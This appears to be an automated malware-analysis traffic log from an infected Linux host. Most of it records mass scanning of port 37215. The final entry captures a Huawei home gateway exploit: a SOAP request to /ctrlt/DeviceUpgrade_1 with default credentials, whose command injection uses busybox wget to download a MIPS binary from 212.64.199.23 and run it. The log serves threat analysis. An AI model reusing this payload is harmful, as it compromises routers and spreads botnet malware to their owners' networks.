Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.23.85.168:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.194.48.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.184.117.235:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.218.204.178:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.216.53.203:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.228.219.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.126.79.148:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.201.66.203:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.158.98.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.15.192.247:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.203.164.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.5.222.181:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.142.165.147:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.173.245.164:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.44.10.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.80.177.108:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.119.109.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.24.225.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.133.156.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.50.167.220:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.21.89.90:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.13.184.19:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.152.112.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.64.41.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.190.251.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.190.145.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.242.51.85:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.194.71.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.44.62.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.110.132.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.95.164.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.175.216.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.167.244.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.147.71.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.132.217.121:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.10.142.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.122.126.96:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.85.11.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.239.195.149:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.232.198.245:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.221.206.103:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.37.64.144:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.194.89.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.214.206.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.212.136.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.178.201.177:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.79.233.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.173.93.254:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.17.90.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.169.9.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.218.106.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.101.107.2:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.108.226.22:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.213.154.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.91.127.234:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.120.24.61:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.221.237.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.7.12.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.158.132.71:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.184.204.181:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.176.139.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.245.2.219:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.216.9.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.28.206.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.92.41.34:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.192.197.105:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.107.192.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.165.161.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.56.13.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.6.20.94:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.209.187.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.34.114.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.250.156.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.142.46.66:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.232.188.146:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.152.143.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.23.41.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.67.194.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.80.231.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.74.2.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.69.200.202:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.158.118.105:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.23.74.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.190.219.141:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.141.214.176:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.248.144.236:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.39.90.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.244.62.5:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.2.218.66:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.148.196.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.126.189.247:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.56.85.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.185.208.107:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.223.253.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.186.130.232:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.171.43.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.9.24.249:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.74.15.219:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.165.77.198:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.244.216.255:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.89.218.49:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.92.85.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.30.27.49:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.207.223.67:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.136.114.116:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.227.67.240:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.13.203.68:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.89.129.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.189.159.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.140.195.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.222.234.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.138.71.70:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.229.240.110:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.207.213.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.221.107.49:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.148.242.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.59.239.86:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.80.58.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.191.227.136:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.1.72.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.15.202.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.197.128.226:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.165.217.27:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.81.208.154:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.122.83.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.245.16.101:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.175.58.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.236.49.99:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.233.110.162:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.38.94.253:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.218.231.141:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.68.248.252:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.37.55.138:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.141.8.220:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.139.2.71:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.132.217.19:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.144.177.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.118.40.154:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.125.198.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.20.169.157:37215
Source: global traffic	TCP traffic: 192.168.2.23:39650 -> 212.64.199.23:59666
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.137.189.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.243.39.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.169.242.103:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.144.104.78:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.207.60.180:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.90.97.243:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.109.67.83:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.220.80.106:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.133.15.61:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.116.177.35:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.80.5.86:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.22.225.57:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.89.102.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.248.46.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.232.30.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.124.35.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.167.179.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.164.237.37:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.89.69.224:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.97.69.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.29.48.216:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.146.114.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.8.177.126:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.207.195.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.59.101.77:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.22.213.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.139.202.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.243.95.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.112.247.128:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.206.204.140:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.233.81.222:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.63.197.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.193.214.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.65.70.71:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.165.172.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.114.139.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.84.90.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.48.36.57:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.216.198.210:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.193.140.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.230.20.141:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.163.82.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.100.216.171:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.58.3.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.61.94.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.169.8.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.107.173.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.176.4.243:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.160.21.16:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.228.243.112:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.168.230.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.105.186.135:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.14.199.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.72.8.136:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.114.47.231:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.133.133.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.196.213.107:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.121.68.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.253.70.125:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.203.211.221:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.171.173.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.131.244.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.3.57.54:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.15.161.222:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.28.210.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.66.27.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.53.244.49:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.57.117.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.235.197.137:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.130.126.220:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.135.86.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.1.145.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.74.190.218:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.185.251.116:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.190.228.207:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.129.253.204:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.108.110.87:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.109.152.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.83.126.241:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.231.167.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.101.115.223:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.157.149.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.39.20.203:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.199.242.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.176.12.220:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.245.54.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.213.184.83:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.74.135.124:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.47.196.40:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.176.152.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.130.245.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.39.69.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.53.205.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.244.235.48:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.70.130.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.252.180.5:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.43.235.223:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.50.196.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.241.204.144:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.14.59.36:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.59.119.60:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.125.146.98:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.191.181.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.81.90.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.60.218.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.211.74.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.183.50.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.171.231.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.135.194.110:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.59.245.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.104.127.33:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.177.90.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.48.148.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.37.61.109:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.246.128.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.83.94.98:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.169.81.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.169.255.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.206.2.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.239.102.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.27.150.164:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.110.137.125:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.99.138.93:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.51.233.45:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.181.22.44:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.166.88.240:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.177.121.226:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.112.203.85:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.86.7.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.37.60.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.77.84.113:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.40.213.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.134.173.59:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.224.216.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.195.130.254:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.38.171.80:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.119.231.114:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.78.145.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.22.143.207:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.196.88.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.170.242.54:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.130.74.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.66.78.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.252.158.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.224.177.254:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.40.138.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.183.139.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.17.3.37:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.89.132.203:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.51.196.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.212.158.60:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.251.15.136:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.183.209.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.249.16.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.77.222.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.230.248.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.27.197.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.198.216.23:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.104.42.216:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.96.203.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.90.102.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.141.186.142:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.173.124.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.25.90.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.146.232.34:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.241.100.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.203.210.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.222.85.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.178.113.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.190.180.36:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.175.248.5:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 197.148.124.89:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.24.0.197:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.165.179.67:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.237.56.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.192.185.96:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.50.110.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 41.16.157.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:35556 -> 156.136.165.228:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
